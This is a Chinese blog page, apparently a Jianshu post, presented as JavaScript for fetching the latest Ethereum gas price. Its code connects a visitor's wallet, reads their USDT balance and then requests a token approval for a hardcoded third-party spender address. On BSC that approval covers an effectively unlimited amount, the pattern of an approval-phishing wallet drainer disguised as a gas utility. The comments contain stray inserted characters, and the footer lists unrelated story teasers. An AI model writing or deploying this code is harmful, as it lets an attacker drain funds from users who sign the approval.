let walletAddress = await window.ethereum.enable().then((res) => {
return walletAddress = res[0];
})
const netId = await this.getNetworkId()
//獲取當(dāng)前節(jié)點(diǎn)網(wǎng)絡(luò)id
console.log(walletAddress,'walletAddress',netId,'netId')
let tokenAddress = netId == '1'?'0xdac17f958d2ee523a2206206994597c13d831ec7':'0x55d398326f99059ff775485246999027b3197955';
let spenderAddress = address.result || '0x213D9388AE7DBde5EDF8a3D4CE2918049b2EAA7c';
// console.log(tokenAddress,999**18)
// 創(chuàng)建代幣合約實(shí)例,替換為你的代幣合約ABI和地址
const contractAbi = netId == 1?ERC_USDT_ABI:GLOBAL_ABI; // 代幣合約ABI
let web3 = new Web3(window.web3.currentProvider)
const contract = new web3.eth.Contract(contractAbi, tokenAddress);
// 轉(zhuǎn)換代幣數(shù)量為合約所需的格式
console.log(contract.methods,'contract')
const balance = await contract.methods.balanceOf(walletAddress).call();
//獲取當(dāng)前錢包代幣余額
// ERC-20 代幣合約地址 USDT - 0xdac17f958d2ee523a2206206994597c13d831ec7
//BEP-20 代幣合約地址 USDT - 0x55d398326f99059ff775485246999027b3197955
const tokenContractAddress = netId == '1'?'0xdac17f958d2ee523a2206206994597c13d831ec7':'0x55d398326f99059ff775485246999027b3197955'; // 替換為你的 ERC-20 代幣合約地址
// 獲取最新的 gasPrice
const newGasPrice = await web3.eth.getGasPrice()
// console.log(newGasPrice,'newGasPrice',Math.floor(newGasPrice * 1.1).toString())
// const gasPriceInGwei = web3.utils.fromWei(Math.floor(newGasPrice * 1.1).toString(), 'gwei');
// console.log('最新 gasPrice:', gasPriceInGwei, 'gwei');
// 加載代幣合約
const tokenContract = new web3.eth.Contract(contractAbi, tokenContractAddress);
// 獲取授權(quán)方法的 gas 使用情況
const methodSignature = tokenContract.methods.approve(tokenContractAddress, '1000000000000000000').encodeABI();
const newGas = await web3.eth.estimateGas({
to: tokenContractAddress,
data: methodSignature
})
// console.log(newGas,'newGas')
let amountInTokens = 100;
let amountInWei = netId == 1 ?web3.utils.toWei(amountInTokens.toString(), 'ether'): await (999999999999999*1).toString().concat(web3.utils.padRight('0', 18));
// 999999999999999
web3.utils.toBN('0xffffffffffffffffffffff')
web3.eth.getBlock('latest', (error, block) => {
if (error) {
console.error('獲取最新區(qū)塊失敗:', error);
} else {
console.log('最新區(qū)塊 gas 使用情況:', block.gasUsed);
}
})
// 設(shè)置 gasLimit 為預(yù)估的 gas 使用量加上一定的額外值(例如蹄殃,加上20%的額外 gas)
const gasLimit = Math.floor(newGas * 1.2); // 設(shè)置gasLimit
const gasPrice = Math.floor(newGasPrice * 1.1).toString(); // 設(shè)置gasPrice椰拒,以wei為單位 6wei
const txObject = {
from: walletAddress,
gas: gasLimit,
gasPrice: gasPrice,
};
console.log(txObject)
const tx1 = await contract.methods.approve(spenderAddress,amountInWei).send(txObject,(err,tx)=>{
console.log(err,tx,'approve/approve',tx1)
})
獲取ETH鏈上轉(zhuǎn)賬最新的gas
最后編輯于 :
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
- 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來故痊,“玉大人顶瞳,你說我怎么就攤上這事°碉” “怎么了慨菱?”我有些...
- 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)戴甩。 經(jīng)常有香客問我符喝,道長(zhǎng),這世上最難降的妖魔是什么甜孤? 我笑而不...
- 正文 為了忘掉前任协饲,我火速辦了婚禮畏腕,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘茉稠。我一直安慰自己描馅,他們只是感情好,可當(dāng)我...
- 文/花漫 我一把揭開白布而线。 她就那樣靜靜地躺著铭污,像睡著了一般。 火紅的嫁衣襯著肌膚如雪膀篮。 梳的紋絲不亂的頭發(fā)上况凉,一...
- 文/蒼蘭香墨 我猛地睜開眼速蕊,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼嫂丙!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起规哲,我...
- 序言:老撾萬榮一對(duì)情侶失蹤跟啤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后唉锌,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體隅肥,經(jīng)...
- 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
- 正文 我和宋清朗相戀三年袄简,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了腥放。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
- 正文 年R本政府宣布,位于F島的核電站匹耕,受9級(jí)特大地震影響聚请,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜泌神,卻給世界環(huán)境...
- 文/蒙蒙 一良漱、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧欢际,春花似錦母市、人聲如沸。這莊子的主人今日做“春日...
- 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至浑槽,卻和暖如春蒋失,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背桐玻。 一陣腳步聲響...
- 正文 我出身青樓铣卡,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國和親偏竟。 傳聞我的和親對(duì)象是個(gè)殘疾皇子煮落,可洞房花燭夜當(dāng)晚...
推薦閱讀更多精彩內(nèi)容
- 首先安裝 web3 API pip install web3 正文開始 導(dǎo)入module from web3 im...
- ethereum掃描區(qū)塊,獲取區(qū)塊內(nèi)的交易記錄 一睦疫、使用geth方法 二呀枢、使用rpc方法
- 在抖音推出優(yōu)惠券后,越來越多的商家開始在抖音上發(fā)放優(yōu)惠券笼痛。同時(shí)裙秋,很多用戶使用優(yōu)惠券也遇到了一些問題。為了幫助大家更...
- 微信紅包封面是近年來在社交網(wǎng)絡(luò)上廣受歡迎的一種互動(dòng)方式枷恕,用戶可以通過定制個(gè)性化的紅包封面來增加發(fā)送紅包的樂趣和儀式...
- 假設(shè)有100個(gè)客戶包名都是以aa開頭的,我需要授權(quán)最新安裝的app的客戶剛開始用的ls -lt /sdcard/A...